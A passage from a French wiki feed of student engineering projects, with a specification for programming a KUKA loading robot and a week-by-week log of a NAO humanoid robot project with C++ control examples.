&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'un interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépose sur le support d’ajustement (2) &lt;br /&gt;
*Dépose sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépose sur le support de retournement (4) &lt;br /&gt;
*Dépose sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépose sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter l'ébavurage pour nettoyer le centre de fraisage entre chaque pièce (la buse est déjà présente sur le Kuka) ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Interaction_Homme_Robot&amp;diff=21057</id>
		<title>Interaction Homme Robot</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Interaction_Homme_Robot&amp;diff=21057"/>
				<updated>2015-05-11T15:36:18Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Nao ima4.jpg|500px|thumb|right|Robot NAO]] &lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Emmanuelle Grangier, professeur à l’école supérieure d'art de Cambrai a pour projet la réalisation d’un spectacle de danse sur le thème de la relation homme-robot nommé Link Human Robot. Lors de ce spectacle, un danseur professionnel aura comme partenaire un robot NAO[https://www.aldebaran.com/fr/qui-est-nao] avec lequel il interagira.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Le sujet qui nous est proposé consiste à réaliser un environnement permettant la communication entre un danseur professionnel et un robot NAO. Le but étant que le robot soit capable de reproduire les mouvements du danseur en temps réel.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Afin que notre robot soit en mesure de suivre les mouvements du danseur il est nécessaire de récupérer les informations venant des capteurs, de les traiter à l'aide d'un algorithme puis ensuite d'envoyer les commandes adéquates au robot NAO afin qu'il agisse en conséquence.&lt;br /&gt;
Les contraintes à prendre en compte sont :&lt;br /&gt;
    &lt;br /&gt;
*Les contraintes mécaniques du NAO : limites des articulations, la vitesse du mouvement et l'équilibre du NAO.&lt;br /&gt;
*Le temps de réponse qui ne doit pas être trop long malgré la communication wifi avec le NAO.&lt;br /&gt;
*La précision des mouvements du NAO.&lt;br /&gt;
*Et la vitesse de calcul résultant de l’environnement NAO, celle-ci étant contournée en utilisant des langages de programmation de plus faible niveau (C, C++, Java).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Partie matérielle'''&lt;br /&gt;
&lt;br /&gt;
Nous disposons d’un robot NAO V4  dont nous utiliserons:&lt;br /&gt;
&lt;br /&gt;
*la centrale inertielle située dans le torse du robot et composée de 2 gyromètres et d’un accéléromètre.&lt;br /&gt;
*les capteurs de position, des roues codeuses, situés dans chaque articulations.&lt;br /&gt;
*les 26 moteurs du NAO.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi à disposition un routeur pour nous permettre de nous connecter au NAO bien que la communication soit aussi possible en Ethernet, cette dernière étant cependant plus contraignante.&lt;br /&gt;
&lt;br /&gt;
Les capteurs utilisés seront dans un premier temps constitués de plusieurs centrales inertielles. Puis il est envisagé par la suite d’utiliser un exosquelette si il est possible d’en obtenir un. Ce qui permettrait une plus grande précision lors de la reconnaissance des mouvements.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Partie software'''&lt;br /&gt;
&lt;br /&gt;
Afin d'interagir avec le NAO, nous utiliserons les différents logiciels disponibles sur le site d’Aldebaran:&lt;br /&gt;
&lt;br /&gt;
*Chorégraphe, le logiciel permettant de programmer le NAO à l’aide de différentes fonctions se présentant sous forme de blocs.&lt;br /&gt;
&lt;br /&gt;
*C++ NAOqi SDK ou Python NAOqi SDK, les kits de développement qui permettent de compiler un code de niveau inférieur (python ou C++) qui communiquera directement avec l’OS  du NAO.&lt;br /&gt;
&lt;br /&gt;
Le langage choisi sera donc soit le Python, soit le C++. Ce choix sera déterminé en fonction de la facilité de mise en oeuvre de ces deux langages et de leur efficacité dans notre application.&lt;br /&gt;
Nous envisageons le C++ dans un premier temps du fait de sa plus grande similitude avec le langage C et de son meilleur temps de réponse en utilisation temps réel.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Etapes du projet===&lt;br /&gt;
&lt;br /&gt;
*Étude de la documentation et familiarisation avec le NAO.&lt;br /&gt;
*Premiers tests en C++ afin de faire bouger le NAO et analyse du temps de réponse et de la précision.&lt;br /&gt;
*Modification du programme précédent afin de fonctionner à l’aide des centrales inertielles.&lt;br /&gt;
*Implémentation d’un client-serveur sur le NAO, éventuellement en UDP.&lt;br /&gt;
*Si obtention d’un exosquelette il sera nécessaire d’adapter le programme afin de gérer ce type de capteur.&lt;br /&gt;
*Si il reste du temps il sera possible de commencer la généralisation des étapes précedentes à toutes les articulations du NAO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Avancement du Projet==&lt;br /&gt;
===Semaine 1===&lt;br /&gt;
&lt;br /&gt;
Lors de la semaine 1 nous avons voulu nous familiariser avec le NAO nous avons donc commencé par utiliser le logiciel Chorégraphe qui permet de programmer le NAO à l’aide de bloc préprogrammés. Ce logiciel permet aussi la programmation de blocs personnalisés en Python.&lt;br /&gt;
A l’aide de ce logiciel nous avons testé quelques programmes simples afin de voir les possibilités du NAO. Cette première approche nous à permis d’entrevoir un peu les limites mécaniques du NAO.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:choregraphe.png|900px|thumb|left|Vue du logiciel Chorégraphe]]&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après nous être familiarisés avec le NAO nous avons commencé à étudier la documentation fournie par Aldebaran dans le but de définir le langage de programmation que nous allions utiliser ainsi que se procurer les logiciels nécessaires à la programmation du NAO.&lt;br /&gt;
Nous avons aussi commencé à étudier les différentes fonctions permettant de contrôler les moteurs du NAO. Pour bouger le NAO il est possible de contrôle les moteurs de deux manières différentes:&lt;br /&gt;
*un déplacement relatif effectué par rapport à la position actuelle du moteur.&lt;br /&gt;
*ou bien un déplacement absolu permettant de placer le moteur dans une position angulaire bien définie.&lt;br /&gt;
&lt;br /&gt;
===Semaine 2===&lt;br /&gt;
&lt;br /&gt;
Au cours de la deuxième semaine, nous nous sommes intéressés au kit de développement C++ NAOqi SDK qui permet de programmer le NAO via un langage bas niveau, à savoir le C++. Cette semaine s’est ainsi principalement orientée sur l’étude de la documentation d’Aldebaran Community. Nous avons donc suivi les procédures d’installation du kit et des différents outils nécessaires à son bon fonctionnement. Le système d’exploitation le plus efficace pour programmer le NAO en C++ était selon nous Linux car c’est le seul permettant de créer des modules distants qui s'exécutent directement sur le NAO. Nous nous sommes donc servis de Linux pour la suite de ce projet car nous pensions au départ avoir besoin de réaliser un client serveur sur le NAO pour permettre la communication avec notre PC. Il s’avère qu'un client TCP est déjà présent sur le NAO donc nous n'avons pour le moment pas besoin de créer de modules distants.&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi installé qiBuild afin de créer des projets multi-plate-formes (linux et NAOqi OS) et CMake afin de générer les makefiles et les répertoires de travail pour chacune des plate-formes afin de compiler ces projets sur celles-ci.&lt;br /&gt;
Suite à l’installation des logiciels nécessaires à la programmation du NAO nous avons commencé à étudier des exemples de codes que nous avons trouvé dans la documentation.&lt;br /&gt;
Dans un second temps, nous avons commencé l’apprentissage du C++ afin de pouvoir être en mesure de créer nos propres programmes à compiler sur le  NAO.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
&lt;br /&gt;
Lors de la semaine 3 nous avons commencé à tester différents codes obtenus via la documentation d’Aldebaran mais nous avons rencontré différents problèmes. Le premier fut un problème d’inclusion des librairies fournies par naoqi-sdk, nous avons donc dû chercher sur le web car nous n’étions pas familiers avec qibuild ou Cmake. Nous avons appris que lors de la création d’un nouveau projet, qibuild nous créait un Makefile au sein de projet afin de simplifier la compilation, à partir de là nous avons modifié ce Makefile afin d’inclure les librairies donc nous avions besoin lors de la compilation.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous nous sommes heurtés à un problème de connexion avec le NAO. Lors de la recherche afin de résoudre ce problème nous nous sommes rendus compte que la version 1.14 de ces différents logiciels était bien plus documentée et plus facile d’utilisation (beaucoup de modifications concernant la syntaxe pour l'utilisation de l'API) que la version 2.1 que nous utilisions. C’est pourquoi après de nombreux essais afin de résoudre notre problème sans succès nous avons voulu tenter de contourner le problème en utilisant cette version 1.14 quitte à revenir à la version 2.1 si nécessaire. Cette version fut difficile à se procurer car les archives d’Aldebaran n'étaient pas facile à trouver.&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous avons installé ces logiciels afin de pouvoir les tester lors de la semaine 4.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
&lt;br /&gt;
La version 1.14 s’est révélée être réellement plus facile d’utilisation et nous avons réussi à faire nos premiers test de commande à distance du NAO via le serveur TCP préexistant. Nous avons donc commencé à modifier ces exemples et à créer de nouveau programmes pour tester les différentes fonctions dont nous allions nous servir présentes dans l’API.&lt;br /&gt;
&lt;br /&gt;
Au cours de cette semaine nous avons réussi à faire dire n’importe quelle phrase au NAO et écris des programmes simples afin de faire bouger les différentes parties du NAO (mains, jambes, tète, etc...). En annexe seront présentés ces deux programmes assez simples permettant de faire parler le NAO et de faire bouger sa tète. La partie importante est la partie permettant la connexion au NAO.&lt;br /&gt;
&lt;br /&gt;
Par la suite nous allons améliorer légèrement ce programme pour y ajouter un menu permettant de bouger le NAO en temps réel via des évènements clavier ce qui nous permettra d’avoir une idée concrète du temps de réponse du NAO car pour le moment le temps de réponse est assez long probablement à cause du temps de connexion au NAO.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
&lt;br /&gt;
Le programme permettant le mouvement du NAO en réponse à des événements clavier à été réalisé, de plus nous avons ajouté un fichier texte qui reçoit directement le temps de réponse de chaque mouvement. Nous avons remarqué que la connexion au NAO prend un certain temps à s'établir en revanche une fois la connexion établie le temps de réponse du NAO aux commandes est de l'ordre de la milliseconde. Pour le moment le temps maximum que nous avons observé est de 3.5ms ce qui parait correct pour une application temps réel.&lt;br /&gt;
&lt;br /&gt;
Nous continuons notre apprentissage du C++ et envisageons de faire une interface graphique pour mettre en pratique nos connaissances. En plus de ceci nous regardons plus en détails toutes les fonctions présentent au sein de l'API du NAO afin d'améliorer nos programmes et de voir si nous ne trouvons pas certaines fonctions qui pourraient nous être fort utiles pour la suite.&lt;br /&gt;
Il ne reste que quelques test à faire durant les vacances avant de passer à l’acquisition des données via les capteurs de type centrale inertielle. Nous espérons pouvoir travailler dès lundi sur la partie vraiment concrète de notre projet si nous avons les capteurs à notre disposition.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5.5===&lt;br /&gt;
&lt;br /&gt;
Lors des vacances nous avons fait les tests complémentaires permettant de valider la réponse du NAO à des événements clavier. De plus à l'aide des recherches faite sur l'API du NAO nous avons fait quelques amélioration à notre programme. Maintenant au début de chaque application le NAO se met en position debout pour pouvoir facilement effectuer de nombreuses actions, puis à la fin du programme après avoir exécute tout ce qui lui est demandé ou dans le cas ou une exception est survenue le NAO se remet en position assise.&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
&lt;br /&gt;
Cette semaine nous avons réalisé la vidéo permettant de voir la réponse du NAO à des événements clavier ci-dessous. D'autre part nous avons commencé à travailler à l'aide de capteurs, pour l'instant il s'agit d'un simple gyroscope dont nous avons réussi à acquérir les données. Bien qu'elles se présentent sous forme chaotique pour le moment nous cherchons à résoudre ce problème. Il s'agit d'un problème de configuration du port série car nous arrivons à observer les bonnes valeurs via minicom. Mais nous n'avons pas encore trouvé ou se situe le problème étant donné que le baud rate ainsi que le format des données semble bien configuré. Une fois ce problème résolu, nous espérons y arriver lundi ou durant le week-end, nous devrions être capable de réaliser un programme permettant de bouger la tête du NAO suivant l'angle du gyromètre. &lt;br /&gt;
&lt;br /&gt;
Ainsi que l'ajout du lien vers le git dans les annexes comportant différents programmes pour le NAO ainsi que le programme d'acquisition des donnée via port série qui ne fonctionne pas pour le moment.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NaoClavier.avi|900px|thumb|left|Vidéo présentant la réponse du NAO à des événements clavier‎]]&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 7===&lt;br /&gt;
&lt;br /&gt;
Le programme permettant de récupérer les valeurs du gyromètre a été débogué il s'agissait en fait d'un problème d'affichage car nous utilisions un buffer défini en char et non en unsigned char. Nous avons donc réussi à récupérer les valeurs provenant du gyromètre et nous avons implémenté ce code afin de bouger la tête du NAO en temps réel en réponse aux mouvement du gyromètre. (Annexe 3)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NAOGyro.avi‎|500px|thumb|left|Vidéo présentant la réponse du NAO à un gyromètre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que cette partie a été réalisé notre but va être d'analyser la robustesse de notre programme, généraliser avec plusieurs gyromètres ou bien utiliser d'autres capteurs. Pour l'instant je pense que nous allons commencer par la partie robustesse car c'est ce qui nous est demandé. Nous allons donc faire des tests ou nous allons voir si le NAO est capable de gérer de nombreuses requêtes simultanées, comme par exemple des demandes de mouvement multiples sur différentes articulations.&lt;br /&gt;
&lt;br /&gt;
Après discussion avec notre encadrant les objectifs pour le moment en plus du test de robustesse sont:&lt;br /&gt;
*Analyse de la précision concernant le programme permettant de bouger la tête avec le gyromètre ainsi qu'une amélioration de ce programme.&lt;br /&gt;
*Réalisation d'une interface graphique qui pourrait incorporer les fonctions utilisés jusqu’à maintenant c'est à dire bouger différentes articulations et permettre le déplacement du NAO.&lt;br /&gt;
*Et pour finir faire bouger le NAO par l'intermédiaire d'un Robotino au lieu d'une interaction humaine pour le moment car sans exosquelette il semble plus intéressant de faire une communication ou le NAO se déplacerait suivant les mouvements du Robotino. De plus pour que la communication soit réciproque il sera intégré des actions réalisées par le Robotino lors d'une action sur certains capteurs du NAO mais ceci reste encore à définir.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8===&lt;br /&gt;
&lt;br /&gt;
Lors de la semaine 8 nous avons amélioré le code permettant de faire bouger la tête avec le gyromètre et analysé la précision de celui-ci, nous avons un écart de position inférieur à 3°. Des tests ont été réalisés concernant la robustesse, nous avons fait un programme qui commandait 6 moteurs du NAO de manière simultanée en temps réel, on remarque que si l'on essaie de commander trop de moteurs les mouvements ne sont plus assez fluides il pourra être intéressant de refaire un test avec seulement 4 moteurs de commandés.&lt;br /&gt;
&lt;br /&gt;
Concernant la partie avec le Robotino nous avons récupéré du code concernant la communication distante avec celui-ci nous allons commencer à mettre en place la communication lors de la semaine 9.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9===&lt;br /&gt;
&lt;br /&gt;
La semaine 9 a été consacrée à la communication avec le Robotino. Pour cela nous avons récupéré un Robotino3 avec lequel nous allons communiquer en utilisant Robotino API2 une API utilisable en C++. Nous avons donc commencé à étudier les documents qui nous ont été fournis lors de la semaine 8.&lt;br /&gt;
&lt;br /&gt;
De plus le programme NAO permettant la gestion du gyromètre a été modifié pour s'interrompre correctement lors de la réception d'un SIGINT.&lt;br /&gt;
&lt;br /&gt;
===Semaine 10===&lt;br /&gt;
&lt;br /&gt;
Peu de travail réalisé en semaine 10 suite à des problèmes avec le Robotino. Réalisation d'un code permettant de récupérer les valeurs de position du Robotino alors qu'il se déplace afin de décrire un cercle. En revanche ce code n'a pas encore été testé.&lt;br /&gt;
&lt;br /&gt;
===Semaine 11===&lt;br /&gt;
&lt;br /&gt;
Suite aux problèmes rencontrés en semaine 10 nous utilisons maintenant un autre Robotino en attendant que celui que nous utilisions soit à nouveau fonctionnel. Le code réalisé en semaine 10 a été testé et fonctionne correctement. Il sera bientôt en Annexe le temps de commenter correctement. Nous arrivons à récupérer les valeurs de position du Robotino et elles sont envoyées au programme NAO via un serveur UDP il nous reste à tester le programme NAO et à ajuster les déplacements des deux robots.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12===&lt;br /&gt;
&lt;br /&gt;
Pour la semaine 12 le programme NAO a été testé. Vu que nous n'avons pas accès au Robotino dû à la RobotCup nous avons travaillé sur le rapport. Les tests finaux seront réalisés lors des vacances.&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 et 14===&lt;br /&gt;
&lt;br /&gt;
Pendant les vacances nous avons réalisé les derniers tests et la communication entre les deux robots semble fonctionnelle bien que l'utilisation d'une structure contenant les données de position du Robotino a été remplacée par une succession de trois floats séparés par un quatrième float qui indique une fin de paquet. Ceci car nous n'arrivions pas a la faire fonctionner avec la structure sur le Robotino et donc choisi d'utiliser une autre méthode faute de temps pour débugger.&lt;br /&gt;
&lt;br /&gt;
De plus le code Robotino a été modifié afin de pouvoir le déplacer comme nous le souhaitons suivant 4 directions.(Annexe 4)&lt;br /&gt;
&lt;br /&gt;
==Annexes==&lt;br /&gt;
Lien github contenant les fichiers pour ce projet : [https://github.com/ethwynn/ProjetNao Github]&lt;br /&gt;
&lt;br /&gt;
===Annexe 1===&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble le programme permettant de faire parler le NAO.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Librairie permettant la creation du proxy&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#include &amp;lt;alcommon/alproxy.h&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main(int argc, char* argv[])&lt;br /&gt;
 {&lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Nous allons connecter notre Broker a Naoqi&amp;lt;/span&amp;gt;&lt;br /&gt;
   int pport = 9559;&lt;br /&gt;
   std::string pip = &amp;quot;127.0.0.1&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// On teste le nombre d'arguments&amp;lt;/span&amp;gt;&lt;br /&gt;
   if (argc != 1 &amp;amp;&amp;amp; argc != 3 &amp;amp;&amp;amp; argc != 5)&lt;br /&gt;
   {&lt;br /&gt;
     std::cerr &amp;lt;&amp;lt; &amp;quot;Wrong number of arguments!&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
     std::cerr &amp;lt;&amp;lt; &amp;quot;Usage: mymodule [--pip robot_ip] [--pport port]&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
     exit(2);&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Si il y a un seul argument il s'agit de l'IP ou du PORT&amp;lt;/span&amp;gt;&lt;br /&gt;
   if (argc == 3)&lt;br /&gt;
   {&lt;br /&gt;
     if (std::string(argv[1]) == &amp;quot;--pip&amp;quot;)&lt;br /&gt;
       pip = argv[2];&lt;br /&gt;
     else if (std::string(argv[1]) == &amp;quot;--pport&amp;quot;)&lt;br /&gt;
       pport = atoi(argv[2]);&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Wrong number of arguments!&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Usage: mymodule [--pip robot_ip] [--pport port]&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
       exit(2);&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Si il y a deux arguments on specifie le PORT et L'IP&amp;lt;/span&amp;gt;&lt;br /&gt;
   if (argc == 5)&lt;br /&gt;
   {&lt;br /&gt;
     if (std::string(argv[1]) == &amp;quot;--pport&amp;quot;&lt;br /&gt;
         &amp;amp;&amp;amp; std::string(argv[3]) == &amp;quot;--pip&amp;quot;)&lt;br /&gt;
     {&lt;br /&gt;
       pport = atoi(argv[2]);&lt;br /&gt;
       pip = argv[4];&lt;br /&gt;
     }&lt;br /&gt;
     else if (std::string(argv[3]) == &amp;quot;--pport&amp;quot;&lt;br /&gt;
              &amp;amp;&amp;amp; std::string(argv[1]) == &amp;quot;--pip&amp;quot;)&lt;br /&gt;
     {&lt;br /&gt;
       pport = atoi(argv[4]);&lt;br /&gt;
       pip = argv[2];&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Wrong number of arguments!&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Usage: mymodule [--pip robot_ip] [--pport port]&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
       exit(2);&lt;br /&gt;
     }&lt;br /&gt;
   } &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/**&lt;br /&gt;
    * On cree un proxy qui permet d'appeler un module defini dans l'API&lt;br /&gt;
    * La methode pour appeler ce module ce presente comme ceci :&lt;br /&gt;
    * AL::ALProxy proxy(&amp;lt;module_name&amp;gt;, &amp;lt;robot_IP&amp;gt;, &amp;lt;robot_port&amp;gt;);&lt;br /&gt;
    */&lt;br /&gt;
   // Creation d'un proxy vers ALTextToSpeechProxy&amp;lt;/span&amp;gt;&lt;br /&gt;
   AL::ALProxy proxy(&amp;quot;ALTextToSpeech&amp;quot;, pip, pport);&lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/**&lt;br /&gt;
    * Si la methode ne renvoie rien&lt;br /&gt;
    * On l'appelle de cette maniere :&lt;br /&gt;
    * proxy.callVoid(&amp;lt;bind_method&amp;gt;, &amp;lt;parameter&amp;gt;, ...)&lt;br /&gt;
    */&lt;br /&gt;
   // On appelle la methode Say&amp;lt;/span&amp;gt;&lt;br /&gt;
   proxy.callVoid(&amp;quot;say&amp;quot;, std::string(&amp;quot;Bonjour je m'appelle NAO!&amp;quot;));&lt;br /&gt;
 &lt;br /&gt;
   return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Annexe 2===&lt;br /&gt;
&lt;br /&gt;
Ce programme fait tourner la tête du Nao dans un sens puis dans l'autre avant de revenir en position initiale.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#include &amp;lt;alcommon/alproxy.h&amp;gt;&amp;lt;/span&amp;gt;           &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Librairie permettant la creation du proxy&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#include &amp;lt;alproxies/almotionproxy.h&amp;gt;&amp;lt;/span&amp;gt;    &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Librairie contenant les fonctions pour faire bouger le NAO&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 int main(int argc, char* argv[])&lt;br /&gt;
 {&lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Nous allons connecter notre Broker a Naoqi&amp;lt;/span&amp;gt;&lt;br /&gt;
   ...&lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Red;&amp;quot;&amp;gt;Toute la partie connexion est identique au programme précédent.&amp;lt;/span&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Le nom de la partie que l'on souhaite bouger */&amp;lt;/span&amp;gt;&lt;br /&gt;
   const AL::ALValue jointName = &amp;quot;HeadYaw&amp;quot;;      &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Ici il s'agit de la tete&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
   try {&lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** On cree notre proxy qui servira a appeler les methodes pour bouger la tete&lt;br /&gt;
     * Les arguments du constructeur sont :&lt;br /&gt;
     * - L'addresse IP du NAO&lt;br /&gt;
     * - Le port utilisé. Par default il s'agit du port 9559&lt;br /&gt;
     */&amp;lt;/span&amp;gt;&lt;br /&gt;
     AL::ALMotionProxy motion(pip, 9559);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Afin de bouger la tete on doit vérifier qu'elle n'est plus asservie&lt;br /&gt;
     * Pour cela on va mettre la &amp;quot;durete&amp;quot; de la tete a la valeur maxi, c'est dans cette position que l'on peut bouger la tete&lt;br /&gt;
     */&lt;br /&gt;
     /** Durete voulue */&amp;lt;/span&amp;gt;&lt;br /&gt;
     AL::ALValue stiffness = 1.0f;&lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Temps en seconde pour atteindre cette valeur */&amp;lt;/span&amp;gt;&lt;br /&gt;
     AL::ALValue time = 1.0f;&lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Appel de la methode pour realiser l'action */&amp;lt;/span&amp;gt;&lt;br /&gt;
     motion.stiffnessInterpolation(jointName, stiffness, time); &lt;br /&gt;
